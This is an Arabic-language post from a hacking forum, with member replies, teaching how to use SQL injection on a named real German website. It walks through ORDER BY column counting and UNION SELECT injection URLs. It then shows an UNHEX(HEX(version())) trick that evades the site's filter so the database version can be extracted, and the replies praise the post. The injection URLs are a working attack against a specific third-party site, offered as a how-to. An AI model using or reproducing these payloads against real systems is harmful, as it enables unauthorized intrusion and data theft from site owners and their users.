:: vBspiders Professional Network :: - الامر UNHEX وتخطي مشكل عدم ضهور اصدار القاعدة في الحقن

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)

الامر UNHEX وتخطي مشكل عدم ضهور اصدار القاعدة في الحقن

بسم الله الرحمن الرحيم

والصلاة والسلام على رسوله الكريم

السلام عليكم

كيفكم شباب ان شاء الله بخير

مبارح في غرفة الحقن لقيت موقع ربما البعض تواجهه هالمشكلة وهي عدم ظهور اصدار قاعدة البيانات لما نكتب الامر version() وفيه كذا مرة في احد المنتديات شفت في احد غرف الحقن واحد حط موقع وفيه عضو عم يشكي من الموقع ويقول ياعم ماقدرتش استخرج اصدار القاعدة
واقولكم شيء في هالمجال عندما تواجهك مشكلة اطرحها ودور عليها لغاية ماتجد لها حل هيك راح طور حالك وتتعمق كثير بهالمجال
طيب نرجع لموضوعنا
خلينا نعمل موضوع بسيط حتى بعض الاخوة لما تواجهه هالمشكلة يقدر يتخطاها بالامر UNHEX

انا معي هالوقع

طيب نبدا باول خطوة
هالموقع مصاب بثغرة سكيول

http://www.getraenkekarton.de/01_seiten/top.php?id=439

انا طلعت عدد الاعمدة وكانت 18 عمود

كود:

http://www.getraenkekarton.de/01_seiten/top.php?id=439 order by 18--

وطلعت معاي الاعمدة المصابة
7
8
9
10

كود:



http://www.getraenkekarton.de/01_seiten/top.php?id=-439+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

الان راح نستعرض اصدار قاعدة البيانات راح ندخل الامر version()

كود:

http://www.getraenkekarton.de/01_seiten/top.php?id=-439+UNION+SELECT+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18--

طيب يقولي خطا ليش راح اقولك مبرمج هالموقع مانع كلمة version()
طيب شو الحل وكيف راح نتخطى هالمشكل
طيب راح نتخطاه بالامر

كود:

UNHEX(HEX())

والان ندخل الامر version() كاملا هكدا

كود:



UNHEX(HEX(version()))

راح يصبح الرابط كذا شوف معي

كود:



http://www.getraenkekarton.de/01_seiten/top.php?id=-439+UNION+SELECT+1,2,3,4,5,6,UNHEX(HEX(version())),8,9,10,11,12,13,14,15,16,17,18--

تمام الان طلع معانا اصدار قاعدة البيانات وهي الاصدار الرابع

والسلام عليكم ورحمة الله

شكراا حبيبي
حياك الله

الله يع‘ـطيك العآفيـــه
وصصراحه موضوع مميز
وسسلمت علىآ الطرح الراقي
احلىآ تقيم لعـيونك يـآمبــدع

مبدددددددددددددددددددددددددددددددددددددددددددددددع

شغل تمام والله

جاري التقييم لأحلى موضوع

مبدع واصل فيف ليزالجيريان ^^